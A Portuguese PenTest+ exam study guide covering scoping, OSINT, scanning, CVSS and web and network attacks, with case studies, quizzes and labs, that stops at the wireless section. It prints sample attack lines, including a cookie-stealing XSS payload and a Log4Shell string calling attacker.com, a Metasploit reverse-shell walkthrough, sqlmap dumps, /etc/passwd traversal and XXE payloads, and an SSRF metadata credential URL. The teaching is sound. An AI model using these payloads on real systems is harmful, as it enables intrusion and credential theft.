Engagement Management
13% do exame · gestão do engagement, scoping, contratos e comunicação
Este domínio é o alicerce ético e contratual de qualquer penetration test profissional. Antes de qualquer comando nmap ou de executar um exploit, o pentester precisa estabelecer um quadro legal, definir o escopo com precisão e alinhar expectativas com o cliente. Um teste mal-escopado não é apenas ineficaz — é uma responsabilidade legal.
1.1 Pre-engagement Activities
As atividades pré-engagement determinam o sucesso de todo o teste. O pentester e o cliente precisam de acordar formalmente sobre objetivos, limites e regras antes de qualquer atividade técnica.
Tipos de Testes
- Black-box (caixa-preta): o pentester não recebe qualquer informação prévia sobre a infraestrutura. Simula um atacante externo real. Mais demorado e custoso.
- White-box (caixa-branca): acesso total — código-fonte, credenciais, arquitetura. Permite análise profunda mas não representa ataques realistas.
- Gray-box (caixa-cinzenta): conhecimento parcial. Simula um insider threat ou um atacante com algum acesso já comprometido. Geralmente o melhor custo-benefício.
Tipos de Engagement por Conhecimento da Equipa Defensiva
| Tipo | Equipa atacante | Equipa defensiva sabe? | Objetivo |
|---|---|---|---|
| Announced | Red Team / pentester | Sim | Validar controlos técnicos |
| Unannounced | Red Team / pentester | Não | Avaliar capacidade de deteção e resposta (Blue Team) |
| Purple Team | Red + Blue colaborando | Sim | Melhoria contínua dos dois lados |
1.2 Documentação Contratual Crítica
Documentação inadequada é a principal causa de problemas legais em pentests. Cada documento tem uma função específica e nenhum deles é opcional num engagement profissional.
SOW — Statement of Work
Documento técnico que detalha o que será feito: escopo, deliverables, cronograma, recursos, critérios de aceitação. O SOW é o "contrato técnico" do engagement.
MSA — Master Service Agreement
Acordo-quadro entre pentester e cliente que define termos gerais aplicáveis a múltiplos projetos: responsabilidades, pagamento, jurisdição, propriedade intelectual. Evita renegociar termos a cada novo SOW.
NDA — Non-Disclosure Agreement
Acordo de confidencialidade. Crítico: pode ser unilateral (apenas o pentester se compromete) ou bilateral/mutual. Define o que é informação confidencial, duração da obrigação e exceções.
ROE — Rules of Engagement
Define como o teste será executado na prática: janelas de tempo permitidas, técnicas autorizadas/proibidas, sistemas in-scope e out-of-scope, contactos de emergência, procedimentos de escalação.
1.3 Scoping
O scoping define exatamente o que pode e não pode ser testado. Erros de scoping levam a duas situações catastróficas: scope creep (testes além do autorizado) ou coverage gaps (áreas críticas não testadas).
Elementos do Escopo
- In-scope: ranges de IP, domínios, aplicações, APIs, redes wireless, instalações físicas que podem ser testadas.
- Out-of-scope: sistemas críticos não-resilientes, infraestrutura de terceiros, sistemas em produção sem janela de manutenção.
- Constraints: tempo (janelas permitidas), técnicas proibidas (ex.: DoS, engenharia social telefónica), tipos de dados que não podem ser exfiltrados.
- Third-party considerations: serviços cloud (AWS, Azure, GCP) exigem notificação prévia. ISPs e provedores de hosting podem ter políticas de uso aceitável.
Compliance e Frameworks Regulatórios
| Framework | Aplicação | Impacto no scoping |
|---|---|---|
| PCI DSS | Cartões de crédito | Requer pentest anual + após alterações significativas |
| HIPAA | Dados de saúde (EUA) | Risk assessment regular; pentest implícito em "evaluation" |
| GDPR | Dados pessoais (UE) | Art. 32 exige medidas de segurança apropriadas; pentests demonstram diligência |
| NIS2 | Operadores essenciais (UE) | Testes periódicos de segurança são exigidos |
| ISO 27001 | SGSI | Controlo A.12.6.1 requer gestão de vulnerabilidades técnicas |
1.4 Comunicação Durante o Engagement
A comunicação contínua é o que distingue um pentester profissional de um script kiddie. Critical findings precisam de ser comunicados imediatamente, não no relatório final.
Triggers de Comunicação Obrigatória
- Critical/high findings: vulnerabilidades exploráveis que dão acesso administrativo ou exposição de dados sensíveis.
- Indicadores de comprometimento prévio: se durante o teste forem descobertos indícios de que a organização já foi (ou está a ser) comprometida por um atacante real.
- Quebra de escopo acidental: se descobrir que um sistema in-scope tem dependências out-of-scope.
- Disrupção operacional: qualquer impacto não-intencional em sistemas de produção.
1.5 Relatório Final
O relatório é o deliverable principal do engagement. Frequentemente, é o único artefacto que o cliente vai ler em detalhe. Um teste tecnicamente perfeito com um relatório medíocre é um engagement falhado.
Estrutura Padrão
- Executive Summary: 1-2 páginas para gestão. Linguagem não-técnica. Risco geral, principais findings, recomendações estratégicas.
- Methodology: como o teste foi executado (PTES, OSSTMM, NIST SP 800-115).
- Findings detalhados: cada vulnerabilidade com CVSS score, evidence (screenshots, logs), impacto de negócio e remediação.
- Appendices: ferramentas usadas, lista completa de testes, raw output relevante.
O caso TechBank: scoping incompleto e exposição legal
Uma consultora foi contratada pelo TechBank (banco fictício europeu) para realizar um pentest externo. O SOW listava o range 203.0.113.0/24 como in-scope. Durante o reconhecimento, a equipa identificou um portal de internet banking hospedado em AWS (banking.techbank.eu) que resolvia para um IP fora desse range. A equipa, assumindo que era óbvio que o portal estava in-scope, prosseguiu com testes que incluíram tentativas de bypass de autenticação.
O portal estava num tenant AWS de um terceiro fornecedor (não do TechBank). A AWS detetou o tráfego, suspendeu o serviço (afetando 80.000 clientes durante 4 horas) e abriu investigação. O fornecedor terceiro processou o TechBank por violação de contrato. O TechBank processou a consultora por extrapolação de escopo.
- Escopo deve listar ativos e domínios, não apenas ranges de IP — IPs mudam (especialmente em cloud).
- Antes de testar qualquer serviço cloud, o cliente deve confirmar ownership e notificar o provider quando exigido (AWS atualmente não exige pré-autorização para a maioria dos testes, mas tem políticas específicas).
- O ROE deve incluir um procedimento explícito para escopo descoberto durante o teste (scope expansion request).
- A consultora deveria ter parado e contactado o cliente antes de testar um ativo fora do range explícito.
Mini Quiz · Domínio 1
10 questões sobre Engagement Management
1Qual documento define COMO um pentest será executado (janelas de tempo, técnicas permitidas, contactos de emergência)?
2Um cliente solicita um pentest onde a equipa atacante não tem qualquer conhecimento prévio da infraestrutura, mas a equipa de SOC do cliente SABE que o teste vai acontecer. Como este engagement é classificado?
3Durante um teste autorizado, descobres evidências de que a organização já foi comprometida por um atacante real (malware ativo, conexões C2). Qual a ação correta?
4Qual framework é especificamente usado para modelagem de ameaças com as categorias Spoofing, Tampering, Repudiation, Information Disclosure, DoS e Elevation of Privilege?
5Uma empresa europeia precisa de demonstrar conformidade com GDPR e quer fazer pentests regulares. Qual artigo GDPR é mais diretamente relacionado a esta atividade?
6Numa organização sujeita a PCI DSS, qual a frequência mínima de pentests externos exigida?
7Qual é o objetivo principal de um engagement Purple Team?
8O Executive Summary de um relatório de pentest deve ser escrito com qual audiência em mente?
9Qual destes elementos NÃO faz parte tipicamente do escopo formal de um pentest?
10Sem qual documento, o pentest pode ser legalmente caracterizado como acesso não-autorizado a sistemas informáticos?
Reconnaissance & Enumeration
21% do exame · o maior domínio de informação do exame
O reconhecimento é a fase onde o pentester constrói uma imagem completa do alvo antes de atacar. Um reconhecimento deficiente leva a ataques mal direcionados; um reconhecimento excelente muitas vezes revela vulnerabilidades críticas sem sequer lançar um exploit. "Hacking is 90% reconnaissance."
2.1 Reconhecimento Passivo (OSINT)
No reconhecimento passivo, o pentester coleta informação sem interagir diretamente com a infraestrutura do alvo. O alvo não consegue detetar esta fase nos seus logs.
DNS Passive Recon
- whois: registo do domínio, datas, contactos administrativos, servidores de nomes.
whois example.com - DNS records: A, AAAA, MX, NS, TXT, CNAME, SOA — cada tipo revela infraestrutura diferente.
- Certificate Transparency: logs públicos de SSL/TLS (
crt.sh) revelam subdomínios que não aparecem em DNS público. - Passive DNS: serviços como SecurityTrails, DNSDB e VirusTotal mostram histórico de resoluções DNS.
OSINT Frameworks e Fontes
| Fonte/Ferramenta | O que revela | Categoria |
|---|---|---|
| Shodan / Censys | IPs, portas abertas, banners, tecnologias, certificados | Internet scanning |
| Google Dorks | Ficheiros expostos, painéis de admin, erros de app | Search engine OSINT |
| LinkedIn / OSINT framework | Estrutura org., tecnologias usadas, emails de funcionários | Human intelligence |
| crt.sh / Amass | Subdomínios via Certificate Transparency | Domain recon |
| theHarvester | Emails, hosts, IPs de múltiplas fontes | Aggregator |
| Maltego | Mapeamento visual de relações entre entidades | OSINT visual |
| Wayback Machine | Versões antigas do site, endpoints removidos | Web archive |
| Hunter.io | Padrões de email corporativo | Email recon |
Google Dorks mais comuns no exame
site:example.com filetype:pdf # PDFs expostos
site:example.com inurl:admin # Painéis administrativos
intitle:"index of" site:example.com # Directory listing
"password" filetype:xls site:example.com # Planilhas com senhas
inurl:".env" site:example.com # Ficheiros .env expostos
cache:example.com # Versão em cache do Google
2.2 Reconhecimento Ativo e Scanning
No reconhecimento ativo, o pentester interage diretamente com os sistemas do alvo. Os logs do alvo registam estas interações. Este tipo de reconhecimento requer autorização explícita.
Nmap — Domínio completo
O Nmap é o scanner de rede mais importante para o exame. Conhecer as flags e o que cada uma faz é mandatório.
| Flag/Técnica | Descrição | Privilegiado? |
|---|---|---|
-sS | TCP SYN scan (stealth) — não completa o handshake, mais difícil de logar | Sim (root) |
-sT | TCP Connect scan — completa o handshake, funciona sem root | Não |
-sU | UDP scan — lento, mas crítico para serviços UDP (DNS, SNMP, TFTP) | Sim |
-sN/-sF/-sX | NULL, FIN, Xmas scans — evasão de firewalls stateless | Sim |
-sV | Version detection — banner grabbing e identificação de versões | Não |
-O | OS detection via TCP/IP fingerprinting | Sim |
-A | Aggressive: -sV -O --script=default -traceroute | Sim |
-p- | Scan todas as 65535 portas | Não |
--script=vuln | NSE scripts para deteção de vulnerabilidades | Não |
-T0 a -T5 | Timing (T0=paranoid/lento, T5=insane/rápido) | Não |
-D RND:10 | Decoy scan — mistura IPs aleatórios para dificultar deteção | Sim |
-f | Fragmentação de pacotes — evasão de IDS/IPS simples | Sim |
Interpretação dos estados de portas Nmap
- open: porta aceita conexões — serviço ativo.
- closed: porta acessível, mas nenhum serviço a escutar (RST recebido).
- filtered: firewall descarta pacotes — não se sabe se há serviço (sem resposta ou ICMP unreachable).
open|filtered:Incerteza — usado em UDP e scans NULL/FIN/Xmas quando não há resposta.
Enumeration de Serviços Comuns
| Serviço / Porta | Ferramenta | O que enumerar |
|---|---|---|
| SMB / 445 | enum4linux, smbclient, crackmapexec | Shares, utilizadores, grupos, password policy |
| LDAP / 389, 636 | ldapsearch, nmap --script ldap* | Utilizadores AD, OUs, políticas, grupos |
| SNMP / 161 UDP | snmpwalk, onesixtyone | System info, interfaces, routing table, processos |
| RPC / 135, 111 | rpcclient, rpcinfo | Utilizadores, grupos, SIDs, shares |
| DNS / 53 | dig, dnsrecon, fierce | Zone transfer, subdomain brute force, reverse lookup |
| HTTP/S / 80, 443 | gobuster, ffuf, nikto, whatweb | Diretórios, ficheiros, tecnologias, cabeçalhos |
| FTP / 21 | nmap, ftp client | Versão, anonymous login, ficheiros listáveis |
| NFS / 2049 | showmount, nmap | Exports disponíveis, permissões |
dig axfr @ns1.example.com example.com. Muitas organizações ainda não corrigiram isto — é um finding frequente em pentests.
2.3 Web Application Reconnaissance
Enumeração de Diretórios e Ficheiros
# Gobuster — brute force de diretórios
gobuster dir -u https://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html
# FFUF — fuzzing rápido
ffuf -u https://target.com/FUZZ -w wordlist.txt -mc 200,301,302
# Nikto — scanner de vulnerabilidades web básico
nikto -h https://target.com
Fingerprinting de Tecnologias
- Wappalyzer: extensão de browser que identifica CMS, frameworks, servidores.
- whatweb: ferramenta CLI equivalente.
- Headers HTTP:
Server:,X-Powered-By:,X-Generator:frequentemente revelam versões. - Cookies: nomes de cookies revelam tecnologias (
PHPSESSID= PHP,JSESSIONID= Java,ASP.NET_SessionId= ASP.NET). - robots.txt / sitemap.xml: frequentemente listam endpoints sensíveis que os admins não queriam indexar mas deixaram acessíveis.
2.4 Wireless Reconnaissance
Wireless recon requer hardware específico (placa com modo monitor e packet injection) e é legal apenas em redes próprias ou com autorização explícita.
| Ferramenta | Função | Protocolo alvo |
|---|---|---|
| airodump-ng | Captura de beacons, clientes, handshakes | 802.11 (WiFi) |
| aircrack-ng | Crack WEP e WPA/WPA2 PSK (dicionário) | WEP, WPA2 |
| Kismet | IDS passivo wireless, deteção de rogue APs | 802.11, Bluetooth, Zigbee |
| hcxdumptool | Captura PMKID sem handshake completo (WPA2) | WPA2/WPA3 |
| Wireshark | Análise de tráfego capturado | Múltiplos |
MedCorp: OSINT que expôs 12.000 registos de pacientes
Num engagement black-box para a MedCorp (clínica fictícia), a equipa iniciou com reconhecimento passivo puro — sem sequer fazer ping ao alvo. Usando theHarvester e crt.sh, identificaram 23 subdomínios, incluindo backup.medcorp.local e dev-api.medcorp.com. Uma pesquisa no Shodan revelou que dev-api.medcorp.com tinha a porta 9200 (Elasticsearch) aberta sem autenticação. Google Dork site:medcorp.com filetype:sql devolveu um dump SQL num bucket S3 público.
O índice Elasticsearch continha 12.000 registos de pacientes (nome, NIF, histórico clínico). O dump SQL tinha credenciais da base de dados de produção em texto plano. Tudo isto foi descoberto antes de qualquer scan ativo — apenas com OSINT passivo.
- Ambientes de desenvolvimento/staging frequentemente não têm os mesmos controlos de segurança que produção.
- Elasticsearch não tem autenticação por defeito nas versões mais antigas — e costuma estar exposto ao internet.
- Buckets S3 públicos continuam a ser uma das maiores fontes de data breaches.
- A fase de OSINT deve ser exaustiva — muitas vezes o engagement termina aqui com critical findings.
Mini Quiz · Domínio 2
10 questões sobre Reconnaissance & Enumeration
1Qual técnica de scan Nmap envia pacotes SYN mas NÃO completa o three-way handshake TCP?
2Durante reconhecimento passivo, utilizas o comando dig axfr @ns1.alvo.com alvo.com e recebes uma listagem completa de todos os registos DNS internos. Como se chama esta vulnerabilidade?
3Qual destas ferramentas é especificamente usada para enumeração de SMB/SAMBA em sistemas Linux?
4Um pentester usa a query site:empresa.com filetype:pdf "confidencial". Esta técnica chama-se:
5O Shodan é principalmente utilizado para:
6Qual estado de porta Nmap indica que um firewall está a descartar os pacotes e não é possível determinar se há um serviço ativo?
7Para capturar o WPA2 four-way handshake e posteriormente fazer um ataque de dicionário offline, qual ferramenta utilizas para a captura?
8Qual cookie name sugere que a aplicação web usa tecnologia Java (Java EE / Tomcat)?
9O comando snmpwalk -v2c -c public 192.168.1.1 é um exemplo de enumeração de qual protocolo?
10Qual a principal diferença entre reconhecimento passivo e ativo?
- Lab 1 — OSINT com theHarvester: Instala Kali Linux (VM ou WSL). Executa
theHarvester -d securitytrails.com -b google,bing,crtshnum domínio público de uma empresa conhecida. Documenta todos os emails, subdomínios e IPs encontrados. - Lab 2 — Nmap completo no TryHackMe: Resolve as salas "Nmap" e "Nmap Advanced" no TryHackMe. Pratica todas as flags da tabela acima num ambiente legal.
- Lab 3 — DNS Zone Transfer: Configura um servidor BIND9 numa VM sem restrição de AXFR e praticamente testa o exploit. HackTheBox tem máquinas (ex.: "Resolute") com DNS vulnerável.
- Lab 4 — SMB Enumeration: Máquina "Blue" e "Legacy" no HackTheBox têm SMB vulnerável. Usa enum4linux e smbclient para enumeração antes de qualquer exploit.
- Lab 5 — Google Dorking: Usa o Google Hacking Database (GHDB) em exploit-db.com/google-hacking-database para explorar dorks num ambiente de prática como hackertest.net.
Vulnerability Discovery & Analysis
17% do exame · scanners, análise manual, CVSS e priorização
Descobrir vulnerabilidades não é apenas correr um scanner e exportar o relatório. Um pentester profissional valida cada finding manualmente, elimina falsos positivos, correlaciona vulnerabilidades para descobrir chains de ataque e prioriza com contexto de negócio. Scanners são um ponto de partida, não o destino.
3.1 Scanners de Vulnerabilidades
| Scanner | Tipo | Pontos fortes | Limitações |
|---|---|---|---|
| Nessus / Tenable.io | Network + App | Base de dados enorme de plugins, relatórios detalhados | Licença paga; pode gerar ruído em produção |
| OpenVAS / Greenbone | Network | Gratuito, open-source, feeds regulares | Interface mais complexa; menor cobertura que Nessus |
| Nikto | Web | Rápido, simples, bom para fingerprinting web | Muito ruidoso, muitos falsos positivos |
| OWASP ZAP | Web (DAST) | Proxy + scanner, gratuito, extensível | Menos preciso que Burp Suite Pro |
| Burp Suite Pro | Web (DAST) | Melhor scanner web, proxy poderoso, extensões | Licença cara; requer conhecimento para uso avançado |
| Nuclei | Web + Network | Templates YAML da comunidade, extremamente rápido | Qualidade dos templates é variável |
| Nmap NSE | Network | Integrado com scanning, granularidade de controlo | Não tão abrangente quanto Nessus |
3.2 CVSS — Sistema de Pontuação de Vulnerabilidades
O Common Vulnerability Scoring System (CVSS) é o sistema padrão para quantificar a severidade de vulnerabilidades. O exame foca principalmente CVSS v3.1 e a transição para v4.0.
CVSS v3.1 — Grupos de Métricas
| Grupo | Métricas | Notas |
|---|---|---|
| Base | Attack Vector, Complexity, Privileges Required, User Interaction, Scope, Confidentiality, Integrity, Availability | Imutável — define a vulnerabilidade em si |
| Temporal | Exploit Code Maturity, Remediation Level, Report Confidence | Evolui com o tempo (ex.: quando exploit público disponível) |
| Environmental | Modified Base metrics + Security Requirements | Ajustado pelo utilizador ao contexto da organização |
Escalas de Severidade CVSS
| Rating | Score | Ação típica |
|---|---|---|
| None | 0.0 | Informacional |
| Low | 0.1 – 3.9 | Remediação no próximo ciclo |
| Medium | 4.0 – 6.9 | Remediação planeada (30-90 dias) |
| High | 7.0 – 8.9 | Remediação urgente (<30 dias) |
| Critical | 9.0 – 10.0 | Remediação imediata / patching emergencial |
3.3 CVE, CWE e NVD
- CVE (Common Vulnerabilities and Exposures): identificador único para vulnerabilidades conhecidas. Formato:
CVE-ANO-NÚMERO(ex.: CVE-2021-44228 = Log4Shell). - CWE (Common Weakness Enumeration): categoriza o tipo de fraqueza de software (ex.: CWE-79 = XSS, CWE-89 = SQL Injection, CWE-119 = Buffer Overflow). Uma CWE pode gerar múltiplos CVEs.
- NVD (National Vulnerability Database): base de dados do NIST que enriquece os CVEs com CVSS scores, CPE (Common Platform Enumeration) e referências.
- EPSS (Exploit Prediction Scoring System): probabilidade de uma vulnerabilidade ser explorada nos próximos 30 dias. Complementa CVSS para priorização.
3.4 Análise Manual de Vulnerabilidades Web
Scanners automatizados frequentemente falham em lógica de negócio complexa, autenticação e fluxos de estado. A análise manual usando Burp Suite é indispensável.
OWASP Top 10 (2021) para o exame
| # | Vulnerabilidade | Exemplo / Indicador |
|---|---|---|
| A01 | Broken Access Control | IDOR, privilege escalation, path traversal |
| A02 | Cryptographic Failures | HTTP sem TLS, MD5, SHA1, dados sensíveis em texto plano |
| A03 | Injection (SQL, OS, LDAP) | ' OR 1=1--, ; ls -la |
| A04 | Insecure Design | Falta de rate limiting, lógica de negócio quebrada |
| A05 | Security Misconfiguration | Default credentials, directory listing, debug mode ativo |
| A06 | Vulnerable & Outdated Components | CVEs conhecidos em bibliotecas/frameworks usados |
| A07 | Identification & Auth Failures | Brute force sem lockout, session fixation, weak tokens |
| A08 | Software & Data Integrity Failures | CI/CD sem verificação, deserialização insegura |
| A09 | Security Logging & Monitoring Failures | Ausência de logs, alertas não configurados |
| A10 | SSRF (Server-Side Request Forgery) | Acesso a 169.254.169.254 (metadata AWS) |
Análise de Código Estático (SAST) vs Dinâmico (DAST)
- SAST (Static Application Security Testing): analisa código-fonte sem executar a aplicação. Ferramentas: Semgrep, SonarQube, Checkmarx. Encontra vulnerabilidades cedo no SDLC. Requer acesso ao código.
- DAST (Dynamic Application Security Testing): testa a aplicação em execução, simulando um atacante. Ferramentas: Burp Suite, OWASP ZAP. Não requer acesso ao código.
- IAST (Interactive): combina os dois, usando agentes dentro da aplicação durante a execução.
3.5 Análise de Vulnerabilidades de Rede e Infraestrutura
Vulnerabilidades Comuns de Rede
| Vulnerabilidade | Protocolo/Serviço | CVE de referência |
|---|---|---|
| EternalBlue / MS17-010 | SMBv1 / TCP 445 | CVE-2017-0144 |
| BlueKeep | RDP / TCP 3389 | CVE-2019-0708 |
| Log4Shell | Log4j2 (Java) | CVE-2021-44228 |
| PrintNightmare | Windows Print Spooler | CVE-2021-34527 |
| ProxyLogon | Microsoft Exchange | CVE-2021-26855 |
| Heartbleed | OpenSSL / TLS | CVE-2014-0160 |
| ShellShock | Bash / CGI | CVE-2014-6271 |
RetailChain: quando o scanner encontrou tudo e o pentester encontrou o que importava
Uma cadeia de retalho fictícia (RetailChain) contratou um pentest após uma auditoria de compliance PCI DSS. O scanner Nessus gerou um relatório com 847 findings — a maioria Medium e Low. O CISO queria um "plano de remediação para todos os 847". O pentester pediu 2 dias adicionais para análise manual antes de entregar qualquer plano.
Dos 847 findings: 623 eram falsos positivos ou informativos sem impacto real. 201 eram válidos mas de baixo impacto no contexto. Apenas 23 findings combinados formavam 3 attack chains críticos: (1) SQLi num endpoint de pesquisa → dump da base de dados de clientes; (2) Credenciais default num switch de rede → acesso à rede de PDVs; (3) SSRF no módulo de importação de imagens → acesso ao metadata AWS com IAM credentials temporárias que davam acesso a S3 com backups de transações.
- Scanners produzem ruído — a análise manual é o que transforma um relatório de 847 linhas num executive briefing de 3 pontos críticos.
- Attack chains (vulnerabilidades encadeadas) frequentemente têm impacto muito maior do que cada vulnerabilidade isolada.
- CVSS score individual não captura o risco de encadeamento. Um SSRF com CVSS 6.1 (Medium) que dá acesso a credenciais AWS é Critical no contexto.
- A priorização deve ser baseada em exploitability + impacto de negócio + exposição, não apenas no score CVSS.
Mini Quiz · Domínio 3
10 questões sobre Vulnerability Discovery & Analysis
1Uma vulnerabilidade tem CVSS Base Score 9.8. No entanto, o sistema afetado está numa rede isolada sem acesso à internet e contém apenas dados de teste. Qual a ação mais adequada?
2CWE-89 corresponde a qual tipo de vulnerabilidade?
3Qual a diferença entre SAST e DAST?
4O CVE-2021-44228 (Log4Shell) explora uma vulnerabilidade em qual componente?
${jndi:ldap://attacker.com/x} que é processada e executa código remoto. CVSS 10.0.5Qual item do OWASP Top 10 2021 cobre ataques de IDOR (Insecure Direct Object Reference)?
6O EPSS (Exploit Prediction Scoring System) mede:
7Um scanner Nessus reporta um finding "SSL Certificate Signed with Weak Hashing Algorithm (MD5)" num servidor interno. Como este finding deve ser classificado considerando contexto?
8Qual ferramenta usa templates YAML da comunidade e é conhecida pela sua velocidade em scanning de vulnerabilidades web?
9EternalBlue (CVE-2017-0144) explora qual protocolo e qual versão específica?
10Um SSRF (Server-Side Request Forgery) numa aplicação web hospedada em AWS pode levar a qual impacto crítico?
http://169.254.169.254/latest/meta-data/iam/security-credentials/ retorna credenciais temporárias IAM da instância. Via SSRF, um atacante pode fazer o servidor fazer esta request e obter tokens de acesso à AWS — potencialmente com permissões extensas.- Lab 1 — Nessus Essentials: Regista-te gratuitamente no Tenable para Nessus Essentials (até 16 IPs). Faz scan do teu próprio ambiente de lab (VMs Metasploitable2 ou VulnHub). Pratica interpretação de relatórios.
- Lab 2 — OWASP WebGoat: Instala WebGoat (Docker:
docker run -p 8080:8080 webgoat/goat-and-wolf) e resolve os módulos de SQL Injection, XSS, IDOR e SSRF manualmente. - Lab 3 — Burp Suite Community: Configura o Burp Suite como proxy para o DVWA (Damn Vulnerable Web App). Intercepta requests, modifica parâmetros, identifica injection points.
- Lab 4 — Nuclei na prática: Instala Nuclei no Kali (
apt install nuclei) e corre templates contra o HackTheBox Starting Point machines. Compara com scan manual. - Lab 5 — CVSS Calculator: Acede ao calculador oficial CVSS v3.1 em nvd.nist.gov. Pega em 5 CVEs reais e calcula o Environmental Score ajustado para um cenário de empresa hipotético. Pratica justificar as escolhas.
Attacks & Exploits
35% do exame · o maior domínio — exploração de rede, web, social engineering, wireless e cloud
Com 35% do exame, este domínio é o coração da PenTest+. Abrange a exploração de vulnerabilidades em múltiplas superfícies de ataque: redes, aplicações web, wireless, cloud e factor humano. O pentester deve não apenas executar ataques, mas selecionar a técnica certa para cada contexto e compreender as implicações de cada ação.
4.1 Exploração de Rede
Metasploit Framework — Estrutura
# Fluxo típico de exploração com Metasploit
msf6 > search ms17-010 # Buscar módulos
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(...) > show options # Ver opções necessárias
msf6 exploit(...) > set RHOSTS 10.10.10.1 # Definir alvo
msf6 exploit(...) > set LHOST 10.10.14.5 # Definir listener
msf6 exploit(...) > set payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(...) > run # Executar
| Componente Metasploit | Função | Exemplo |
|---|---|---|
| Exploit | Código que aproveita a vulnerabilidade | ms17_010_eternalblue |
| Payload | Código executado após exploração | meterpreter, shell, bind/reverse |
| Auxiliary | Módulos sem payload (scan, brute force) | auxiliary/scanner/smb/smb_ms17_010 |
| Post | Módulos pós-exploração | post/windows/gather/hashdump |
| Encoder | Ofuscação do payload para evasão de AV | x86/shikata_ga_nai |
| Meterpreter | Shell avançada em memória, sem ficheiro em disco | Comandos: hashdump, sysinfo, migrate |
Ataques Man-in-the-Middle (MitM)
| Técnica | Alvo | Ferramenta | Mitigação |
|---|---|---|---|
| ARP Poisoning/Spoofing | Rede local (L2) | arpspoof, Ettercap, Bettercap | Dynamic ARP Inspection (DAI), static ARP |
| LLMNR/NBT-NS Poisoning | Redes Windows (resolução de nomes) | Responder | Desativar LLMNR/NBT-NS via GPO |
| DNS Spoofing | Resolução DNS | dnsspoof, Bettercap | DNSSEC, DoH, DoT |
| SSL Stripping | HTTPS → HTTP downgrade | sslstrip, Bettercap | HSTS, HSTS Preloading |
| Evil Twin / Rogue AP | WiFi clients | hostapd-wpe, airbase-ng | 802.1X/EAP, WIDS |
Ataques a Passwords
| Tipo de Ataque | Descrição | Ferramenta | Contra-medida |
|---|---|---|---|
| Brute Force online | Tentativas diretas num serviço | Hydra, Medusa, CrackMapExec | Account lockout, MFA, rate limiting |
| Dictionary attack offline | Crack de hashes com wordlist | Hashcat, John the Ripper | Hashing forte (bcrypt, Argon2) |
| Password Spraying | 1 password → muitos utilizadores | Spray, CrackMapExec | MFA, lockout por IP, anomaly detection |
| Credential Stuffing | Leaked credentials de breaches | OpenBullet, Snipr | MFA, breach monitoring, unique passwords |
| Pass-the-Hash (PtH) | Usar hash NTLM sem crackear | Mimikatz, CrackMapExec | Protected Users group, Credential Guard |
| Pass-the-Ticket (PtT) | Usar Kerberos ticket (TGT/TGS) | Mimikatz, Rubeus | Privilege PAM, short ticket lifetimes |
Hashcat — Modos essenciais
# Hash type detection
hashid '$2y$10$...' # Identificar tipo de hash
# Hashcat — modes comuns
hashcat -m 0 hash.txt wordlist.txt # MD5
hashcat -m 1000 hash.txt wordlist.txt # NTLM
hashcat -m 1800 hash.txt wordlist.txt # sha512crypt (Linux /etc/shadow)
hashcat -m 13100 hash.txt wordlist.txt # Kerberoast (TGS-REP)
hashcat -m 22000 hash.txt wordlist.txt # WPA2
# Modos de ataque
-a 0 # Dictionary
-a 1 # Combination (two wordlists)
-a 3 # Brute force mask (ex: ?u?l?l?l?d?d)
-a 6 # Hybrid wordlist + mask
4.2 Exploração de Aplicações Web
SQL Injection — Tipos e Técnicas
| Tipo | Características | Exemplo |
|---|---|---|
| In-band (Error-based) | Erros SQL são mostrados na resposta | ' OR 1=1-- com mensagem de erro visible |
| In-band (Union-based) | UNION para extrair dados de outra tabela | ' UNION SELECT username,password FROM users-- |
| Blind (Boolean-based) | Sem output direto; inferência por true/false | ' AND 1=1-- vs ' AND 1=2-- |
| Blind (Time-based) | Inferência via delay na resposta | '; IF (1=1) WAITFOR DELAY '0:0:5'-- |
| Out-of-band | Dados exfiltrados via canal externo (DNS, HTTP) | DNS exfiltration via xp_cmdshell |
# SQLMap — automatização de SQL Injection
sqlmap -u "https://target.com/search?q=test" --dbs # Listar DBs
sqlmap -u "https://target.com/search?q=test" -D mydb --tables # Listar tabelas
sqlmap -u "https://target.com/search?q=test" -D mydb -T users --dump # Dump tabela
sqlmap -r request.txt --level=5 --risk=3 # A partir de ficheiro Burp
Cross-Site Scripting (XSS)
- Reflected XSS: payload na URL/parâmetro, refletido imediatamente na resposta. Requer que a vítima clique num link. Ex.:
https://site.com/search?q=<script>alert(1)</script> - Stored XSS: payload armazenado no servidor (comentário, perfil). Executa no browser de qualquer utilizador que vê o conteúdo. Mais crítico.
- DOM-based XSS: o payload é processado pelo JavaScript do cliente sem passar pelo servidor.
document.location.hashsem sanitização. - XSS → Account takeover:
<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
Outros Ataques Web Críticos
| Ataque | Mecanismo | Payload / Indicador |
|---|---|---|
| Command Injection | Input do user executado como comando OS | ; whoami, | id, && ls |
| Path Traversal | Acesso a ficheiros fora do webroot | ../../../etc/passwd, ..%2F..%2Fetc%2Fpasswd |
| File Inclusion (LFI/RFI) | Inclusão de ficheiros locais ou remotos | ?page=../../../../etc/passwd |
| XXE (XML External Entity) | XML parser processa entidades externas | <!ENTITY xxe SYSTEM "file:///etc/passwd"> |
| CSRF | Ação forçada em nome de user autenticado | Formulário oculto com POST para site alvo |
| Insecure Deserialization | Objeto serializado malicioso causa RCE | Java, PHP, Python — gadget chains |
| JWT Attacks | Manipulação de JSON Web Tokens | alg:none, key confusion RS256→HS256 |
4.3 Social Engineering
O factor humano é frequentemente o vetor de ataque mais eficaz. Técnicas de engenharia social exploram psicologia, não tecnologia.
Princípios Psicológicos (Cialdini)
- Autoridade: "Sou do IT, preciso das suas credenciais para resolver um problema urgente."
- Urgência / Scarcity: "A sua conta será bloqueada em 24h se não agir agora."
- Social Proof: "Os seus colegas já atualizaram os dados — só falta você."
- Reciprocidade: Oferecer algo (ajuda, brinde) para criar sentimento de obrigação.
- Liking: Criar rapport, fingir ser colega ou amigo.
- Commitment: Pequenos compromissos iniciais que levam a pedidos maiores.
Técnicas e Ferramentas
| Técnica | Descrição | Ferramenta |
|---|---|---|
| Phishing | Email malicioso → credenciais ou malware | GoPhish, SET, Evilginx2 |
| Spear Phishing | Phishing personalizado para target específico | GoPhish + OSINT |
| Vishing | Social engineering por telefone | — |
| Smishing | Social engineering via SMS | — |
| Pretexting | Criar identidade/cenário falso convincente | — |
| Baiting | USB drops, QR codes maliciosos | USB Rubber Ducky, Bash Bunny |
| Watering Hole | Comprometer site frequentado pelo alvo | BeEF, exploit frameworks |
4.4 Ataques Wireless
